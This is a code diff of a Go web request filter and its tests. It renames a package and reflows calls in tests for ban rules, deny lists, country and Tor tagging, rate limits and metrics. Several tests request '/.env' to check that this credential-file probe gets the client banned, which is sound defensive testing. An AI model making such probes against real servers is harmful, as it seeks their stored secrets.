// SWW_RULES_DIR and SWW_RULES_ENABLED name.
|
// SWW_RULES_DIR and SWW_RULES_ENABLED name.
|
||||||
@@ -26,11 +26,7 @@ type ruleFiles struct{}
|
|||||||
|
|
||||||
func (ruleFiles) name() string { return "rule_files" }
|
func (ruleFiles) name() string { return "rule_files" }
|
||||||
|
|
||||||
func (ruleFiles) check(
|
func (ruleFiles) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
now time.Time,
|
|
||||||
) *verdict {
|
|
||||||
matched := rq.h.rules.Match(rq.in)
|
matched := rq.h.rules.Match(rq.in)
|
||||||
|
|
||||||
for _, rule := range matched {
|
for _, rule := range matched {
|
||||||
@@ -52,18 +48,12 @@ func (ruleFiles) check(
|
|||||||
case rules.ActionBlock:
|
case rules.ActionBlock:
|
||||||
rq.blockedByBlockRule = true
|
rq.blockedByBlockRule = true
|
||||||
|
|
||||||
return &verdict{
|
return &verdict{action: requestlog.ActionBlockedByBlockRule, figures: figures}
|
||||||
action: requestlog.ActionBlockedByBlockRule,
|
|
||||||
figures: figures,
|
|
||||||
}
|
|
||||||
case rules.ActionBan:
|
case rules.ActionBan:
|
||||||
rq.attack = true
|
rq.attack = true
|
||||||
|
|
||||||
return &verdict{
|
return &verdict{
|
||||||
action: rq.banForAttack(
|
action: rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target}),
|
||||||
now,
|
|
||||||
bans.Notes{RuleID: last.ID, Target: last.Target},
|
|
||||||
),
|
|
||||||
figures: figures,
|
figures: figures,
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -48,10 +48,7 @@ func TestEachRuleAction(t *testing.T) {
|
|||||||
wantRuleIDs(t, line, "noted", "probe")
|
wantRuleIDs(t, line, "noted", "probe")
|
||||||
|
|
||||||
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
|
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
|
||||||
t.Errorf(
|
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
|
||||||
"log line has ban_expires %q, want seven days on",
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
netblock := netip.MustParsePrefix(client + "/32")
|
netblock := netip.MustParsePrefix(client + "/32")
|
||||||
@@ -86,26 +83,15 @@ func TestEachRuleAction(t *testing.T) {
|
|||||||
// against the rules, and makes the ban permanent.
|
// against the rules, and makes the ban permanent.
|
||||||
clk.advance(time.Hour)
|
clk.advance(time.Hour)
|
||||||
|
|
||||||
line = s.get(
|
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
|
||||||
client,
|
|
||||||
http.StatusTooManyRequests,
|
|
||||||
requestlog.ActionPermanentlyBanned,
|
|
||||||
)
|
|
||||||
wantRuleIDs(t, line)
|
wantRuleIDs(t, line)
|
||||||
|
|
||||||
if line.BanExpires != permanent {
|
if line.BanExpires != permanent {
|
||||||
t.Errorf(
|
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
|
||||||
"log line has ban_expires %q, want permanent",
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
clk.advance(365 * 24 * time.Hour)
|
clk.advance(365 * 24 * time.Hour)
|
||||||
s.get(
|
s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
|
||||||
client,
|
|
||||||
http.StatusTooManyRequests,
|
|
||||||
requestlog.ActionPermanentlyBanned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
|
func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
|
||||||
@@ -115,11 +101,8 @@ func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
|
|||||||
rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
|
rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
|
||||||
})
|
})
|
||||||
|
|
||||||
wantTags(
|
wantTags(t, s.request(client, "/noted", http.StatusOK, requestlog.ActionForward),
|
||||||
t,
|
"exploitsignature")
|
||||||
s.request(client, "/noted", http.StatusOK, requestlog.ActionForward),
|
|
||||||
"exploitsignature",
|
|
||||||
)
|
|
||||||
wantTags(t, s.request(client, "/blocked", http.StatusForbidden,
|
wantTags(t, s.request(client, "/blocked", http.StatusForbidden,
|
||||||
requestlog.ActionBlockedByBlockRule), "exploitsignature")
|
requestlog.ActionBlockedByBlockRule), "exploitsignature")
|
||||||
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
|
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
|
||||||
@@ -134,21 +117,11 @@ func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) {
|
|||||||
|
|
||||||
line := s.request(client, "/blocked", http.StatusForbidden,
|
line := s.request(client, "/blocked", http.StatusForbidden,
|
||||||
requestlog.ActionBlockedByBlockRule)
|
requestlog.ActionBlockedByBlockRule)
|
||||||
wantHeuristic(
|
wantHeuristic(t, line, "rule_files", `{"rule_id": "blocked", "rule_action": "block"}`)
|
||||||
t,
|
|
||||||
line,
|
|
||||||
"rule_files",
|
|
||||||
`{"rule_id": "blocked", "rule_action": "block"}`,
|
|
||||||
)
|
|
||||||
|
|
||||||
line = s.request(client, "/.env", http.StatusForbidden,
|
line = s.request(client, "/.env", http.StatusForbidden,
|
||||||
requestlog.ActionTemporarilyBanned)
|
requestlog.ActionTemporarilyBanned)
|
||||||
wantHeuristic(
|
wantHeuristic(t, line, "rule_files", `{"rule_id": "probe", "rule_action": "ban"}`)
|
||||||
t,
|
|
||||||
line,
|
|
||||||
"rule_files",
|
|
||||||
`{"rule_id": "probe", "rule_action": "ban"}`,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
|
func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
|
||||||
@@ -163,10 +136,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
|
|||||||
line := s.request(client, "/.env", http.StatusForbidden,
|
line := s.request(client, "/.env", http.StatusForbidden,
|
||||||
requestlog.ActionTemporarilyBanned)
|
requestlog.ActionTemporarilyBanned)
|
||||||
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
|
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
|
||||||
t.Errorf(
|
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
|
||||||
"log line has ban_expires %q, want an hour on",
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Once that ban has run out without a request, the client is served,
|
// Once that ban has run out without a request, the client is served,
|
||||||
@@ -177,10 +147,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
|
|||||||
line = s.request(client, "/.env", http.StatusForbidden,
|
line = s.request(client, "/.env", http.StatusForbidden,
|
||||||
requestlog.ActionPermanentlyBanned)
|
requestlog.ActionPermanentlyBanned)
|
||||||
if line.BanExpires != permanent {
|
if line.BanExpires != permanent {
|
||||||
t.Errorf(
|
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
|
||||||
"log line has ban_expires %q, want permanent",
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -200,12 +167,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
// A client in SWW_ALLOW_NETS is not checked.
|
// A client in SWW_ALLOW_NETS is not checked.
|
||||||
line := s.request(
|
line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||||
allowed,
|
|
||||||
"/.env",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantRuleIDs(t, line)
|
wantRuleIDs(t, line)
|
||||||
|
|
||||||
// A probe over the rate limit breaks the limit before any rule sees
|
// A probe over the rate limit breaks the limit before any rule sees
|
||||||
@@ -222,12 +184,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
|
|||||||
|
|
||||||
// A client the rate limits do not apply to is still checked.
|
// A client the rate limits do not apply to is still checked.
|
||||||
s.get(exempt, http.StatusOK, requestlog.ActionForward)
|
s.get(exempt, http.StatusOK, requestlog.ActionForward)
|
||||||
s.request(
|
s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
exempt,
|
|
||||||
"/.env",
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
|
func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
|
||||||
@@ -238,21 +195,11 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
|
|||||||
mode: observe,
|
mode: observe,
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
"/blocked",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
|
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
|
||||||
wantRuleIDs(t, line, "blocked")
|
wantRuleIDs(t, line, "blocked")
|
||||||
|
|
||||||
line = s.request(
|
line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
"/.env",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
|
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
|
||||||
wantRuleIDs(t, line, "probe")
|
wantRuleIDs(t, line, "probe")
|
||||||
|
|
||||||
@@ -279,55 +226,22 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
|
|||||||
|
|
||||||
s.request(client, "/blocked", http.StatusForbidden,
|
s.request(client, "/blocked", http.StatusForbidden,
|
||||||
requestlog.ActionBlockedByBlockRule)
|
requestlog.ActionBlockedByBlockRule)
|
||||||
s.request(
|
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
|
||||||
"/.env",
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
|
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
|
||||||
|
|
||||||
metrics := s.scrape()
|
metrics := s.scrape()
|
||||||
wantMetric(
|
wantMetric(t, metrics,
|
||||||
t,
|
`sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
|
||||||
metrics,
|
wantMetric(t, metrics,
|
||||||
`sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`,
|
`sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1)
|
||||||
1,
|
|
||||||
)
|
|
||||||
wantMetric(
|
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
wantMetric(t, metrics, `sww_rules_loaded{instance="app"}`, 2)
|
wantMetric(t, metrics, `sww_rules_loaded{instance="app"}`, 2)
|
||||||
wantMetric(
|
wantMetric(t, metrics, `sww_requests_total{action="blocked_by_block_rule",`+
|
||||||
t,
|
`instance="app",status_class="4xx"}`, 1)
|
||||||
metrics,
|
|
||||||
`sww_requests_total{action="blocked_by_block_rule",`+
|
|
||||||
`instance="app",status_class="4xx"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
wantMetric(t, metrics,
|
wantMetric(t, metrics,
|
||||||
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 1)
|
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 1)
|
||||||
wantMetric(
|
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="attack"}`, 1)
|
||||||
t,
|
wantMetric(t, metrics, `sww_bans_made_total{cause="attack",instance="app"}`, 1)
|
||||||
metrics,
|
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 0)
|
||||||
`sww_offences_total{instance="app",kind="attack"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
wantMetric(
|
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_bans_made_total{cause="attack",instance="app"}`,
|
|
||||||
1,
|
|
||||||
)
|
|
||||||
wantMetric(
|
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
`sww_bans_made_total{cause="limit",instance="app"}`,
|
|
||||||
0,
|
|
||||||
)
|
|
||||||
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
|
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -338,11 +252,7 @@ func writeRules(t *testing.T, content string) string {
|
|||||||
|
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
|
|
||||||
err := os.WriteFile(
|
err := os.WriteFile(filepath.Join(dir, "test.rules"), []byte(content), 0o600)
|
||||||
filepath.Join(dir, "test.rules"),
|
|
||||||
[]byte(content),
|
|
||||||
0o600,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write the rule file: %v", err)
|
t.Fatalf("write the rule file: %v", err)
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -68,11 +68,7 @@ func TestRequestFromAllowNetsIsNotCounted(t *testing.T) {
|
|||||||
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
||||||
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
||||||
{unlistedAddr, http.StatusOK, requestlog.ActionForward},
|
{unlistedAddr, http.StatusOK, requestlog.ActionForward},
|
||||||
{
|
{unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited},
|
||||||
unlistedAddr,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -91,13 +87,7 @@ func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
|
|||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
})
|
})
|
||||||
|
|
||||||
req := newRequest(
|
req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
|
||||||
t,
|
|
||||||
http.MethodPost,
|
|
||||||
addr,
|
|
||||||
"/",
|
|
||||||
strings.NewReader("a body"),
|
|
||||||
)
|
|
||||||
req.Header.Set(forwardedFor, fromDE)
|
req.Header.Set(forwardedFor, fromDE)
|
||||||
wantStatus(t, do(t, req), http.StatusForbidden)
|
wantStatus(t, do(t, req), http.StatusForbidden)
|
||||||
|
|
||||||
@@ -118,11 +108,7 @@ func TestDenyNetsRefusalNamesItsHeuristicAndNetblock(t *testing.T) {
|
|||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{denyNets: clientsNet})
|
s, _, _ := startWithClock(t, "", map[string]string{denyNets: clientsNet})
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientDenied,
|
|
||||||
)
|
|
||||||
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+clientsNet+`"}`)
|
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+clientsNet+`"}`)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -142,11 +128,7 @@ func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) {
|
|||||||
{listedAddr, http.StatusForbidden, requestlog.ActionClientDenied},
|
{listedAddr, http.StatusForbidden, requestlog.ActionClientDenied},
|
||||||
{listedAddr, http.StatusForbidden, requestlog.ActionClientDenied},
|
{listedAddr, http.StatusForbidden, requestlog.ActionClientDenied},
|
||||||
{unlistedAddr, http.StatusOK, requestlog.ActionForward},
|
{unlistedAddr, http.StatusOK, requestlog.ActionForward},
|
||||||
{
|
{unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited},
|
||||||
unlistedAddr,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -170,11 +152,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
|
|||||||
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
||||||
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
||||||
{unlistedAddr, http.StatusOK, requestlog.ActionForward},
|
{unlistedAddr, http.StatusOK, requestlog.ActionForward},
|
||||||
{
|
{unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited},
|
||||||
unlistedAddr,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
},
|
|
||||||
{fromKP, http.StatusForbidden, requestlog.ActionClientDenied},
|
{fromKP, http.StatusForbidden, requestlog.ActionClientDenied},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -190,12 +168,7 @@ type sentRequest struct {
|
|||||||
// wantAnswers sends requests to sww at addr one after another and
|
// wantAnswers sends requests to sww at addr one after another and
|
||||||
// checks each one's answer and log line. They must be the first requests
|
// checks each one's answer and log line. They must be the first requests
|
||||||
// sww is sent, since the log lines are matched to them in order.
|
// sww is sent, since the log lines are matched to them in order.
|
||||||
func wantAnswers(
|
func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest) {
|
||||||
t *testing.T,
|
|
||||||
addr string,
|
|
||||||
out *output,
|
|
||||||
requests []sentRequest,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for i, sent := range requests {
|
for i, sent := range requests {
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic tag_deny. It reads SWW_TAG_DENY.
|
// The heuristic tag_deny. It reads SWW_TAG_DENY.
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -14,11 +14,7 @@ func TestTagDenyRefusesALookupTagAndNamesTheTag(t *testing.T) {
|
|||||||
// in capitals.
|
// in capitals.
|
||||||
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "Country=kp"})
|
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "Country=kp"})
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||||
fromKP,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientDenied,
|
|
||||||
)
|
|
||||||
wantHeuristic(t, line, "tag_deny", `{"tag": "country=KP"}`)
|
wantHeuristic(t, line, "tag_deny", `{"tag": "country=KP"}`)
|
||||||
wantTags(t, line, "asn=64511", "country=KP")
|
wantTags(t, line, "asn=64511", "country=KP")
|
||||||
|
|
||||||
@@ -30,12 +26,8 @@ func TestTagDenyRefusesAnASNTag(t *testing.T) {
|
|||||||
|
|
||||||
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "asn=64511"})
|
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "asn=64511"})
|
||||||
|
|
||||||
wantHeuristic(
|
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||||
t,
|
"tag_deny", `{"tag": "asn=64511"}`)
|
||||||
s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
|
||||||
"tag_deny",
|
|
||||||
`{"tag": "asn=64511"}`,
|
|
||||||
)
|
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -49,16 +41,8 @@ func TestTagDenyRefusesAListTagBeforeTheRateLimitsCount(t *testing.T) {
|
|||||||
|
|
||||||
// Each is refused for its tag: none is counted to break the limit of one.
|
// Each is refused for its tag: none is counted to break the limit of one.
|
||||||
for range 3 {
|
for range 3 {
|
||||||
wantHeuristic(
|
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||||
t,
|
"tag_deny", `{"tag": "torexit"}`)
|
||||||
s.get(
|
|
||||||
fromDE,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientDenied,
|
|
||||||
),
|
|
||||||
"tag_deny",
|
|
||||||
`{"tag": "torexit"}`,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -74,29 +58,18 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
|
|||||||
})
|
})
|
||||||
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
|
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
|
||||||
|
|
||||||
wantHeuristic(
|
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||||
t,
|
"tag_deny", `{"tag": "dnsbl=`+dnsblZone+`"}`)
|
||||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
|
|
||||||
"tag_deny",
|
|
||||||
`{"tag": "dnsbl=`+dnsblZone+`"}`,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
|
func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
s, _, _ := startWithClock(t, "", map[string]string{
|
||||||
rulesDir: writeRules(
|
rulesDir: writeRules(t, "noted path log ^/\n"), tagDeny: "exploitsignature",
|
||||||
t,
|
|
||||||
"noted path log ^/\n",
|
|
||||||
), tagDeny: "exploitsignature",
|
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientDenied,
|
|
||||||
)
|
|
||||||
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
|
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
|
||||||
wantTags(t, line, "exploitsignature")
|
wantTags(t, line, "exploitsignature")
|
||||||
}
|
}
|
||||||
@@ -109,20 +82,12 @@ func TestTagLimitPercentLowersALimitTheLowestWinning(t *testing.T) {
|
|||||||
tagLists: "vpn=" + vpnList + ",tor=" + torList,
|
tagLists: "vpn=" + vpnList + ",tor=" + torList,
|
||||||
tagLimitPercent: "vpn:50,tor:25",
|
tagLimitPercent: "vpn:50,tor:25",
|
||||||
})
|
})
|
||||||
loadLists(
|
loadLists(t, server, map[string][]string{vpnList: {fromDE}, torList: {fromDE}})
|
||||||
t,
|
|
||||||
server,
|
|
||||||
map[string][]string{vpnList: {fromDE}, torList: {fromDE}},
|
|
||||||
)
|
|
||||||
|
|
||||||
// A quarter of 4 requests a minute: the second breaks the limit.
|
// A quarter of 4 requests a minute: the second breaks the limit.
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
fromDE,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
wantPercent(t, "rate_limit_percent",
|
wantPercent(t, "rate_limit_percent",
|
||||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||||
"25 from "+tagLimitPercent)
|
"25 from "+tagLimitPercent)
|
||||||
@@ -141,11 +106,7 @@ func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) {
|
|||||||
// The upload's 100 bytes are over half of 199, 99.
|
// The upload's 100 bytes are over half of 199, 99.
|
||||||
line := s.uploadFrom(fromDE)
|
line := s.uploadFrom(fromDE)
|
||||||
if line.LimitHit != minuteBytes {
|
if line.LimitHit != minuteBytes {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
|
||||||
"log line has limit_hit %q, want %s",
|
|
||||||
line.LimitHit,
|
|
||||||
minuteBytes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantPercent(t, "bytes_limit_percent",
|
wantPercent(t, "bytes_limit_percent",
|
||||||
@@ -155,11 +116,7 @@ func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) {
|
|||||||
// fromKP, which the list does not hold, has the whole limit.
|
// fromKP, which the list does not hold, has the whole limit.
|
||||||
line = s.uploadFrom(fromKP)
|
line = s.uploadFrom(fromKP)
|
||||||
if line.LimitHit != "" {
|
if line.LimitHit != "" {
|
||||||
t.Errorf(
|
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
|
||||||
"log line for %s has limit_hit %q, want none",
|
|
||||||
fromKP,
|
|
||||||
line.LimitHit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantPercent(t, "bytes_limit_percent",
|
wantPercent(t, "bytes_limit_percent",
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
|
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
|
||||||
// the reputation lists.
|
// the reputation lists.
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -68,13 +68,8 @@ func TestTagListsTagEvenARequestTheCountryListRefuses(t *testing.T) {
|
|||||||
})
|
})
|
||||||
loadLists(t, server, map[string][]string{vpnList: {fromKP}})
|
loadLists(t, server, map[string][]string{vpnList: {fromKP}})
|
||||||
|
|
||||||
wantTags(
|
wantTags(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
|
||||||
t,
|
"asn=64511", "country=KP", "vpn")
|
||||||
s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
|
|
||||||
"asn=64511",
|
|
||||||
"country=KP",
|
|
||||||
"vpn",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
|
func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
|
||||||
@@ -85,11 +80,7 @@ func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
|
|||||||
})
|
})
|
||||||
loadLists(t, server, map[string][]string{vpnList: {fromDE, fromKP}})
|
loadLists(t, server, map[string][]string{vpnList: {fromDE, fromKP}})
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||||
fromKP,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientDenied,
|
|
||||||
)
|
|
||||||
if line.Heuristic != "deny_nets" {
|
if line.Heuristic != "deny_nets" {
|
||||||
t.Errorf("log line has heuristic %q, want deny_nets", line.Heuristic)
|
t.Errorf("log line has heuristic %q, want deny_nets", line.Heuristic)
|
||||||
}
|
}
|
||||||
@@ -100,16 +91,9 @@ func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
|
|||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
line = s.get(
|
line = s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
fromDE,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
if line.Heuristic != "active_ban" {
|
if line.Heuristic != "active_ban" {
|
||||||
t.Errorf(
|
t.Errorf("log line has heuristic %q, want active_ban", line.Heuristic)
|
||||||
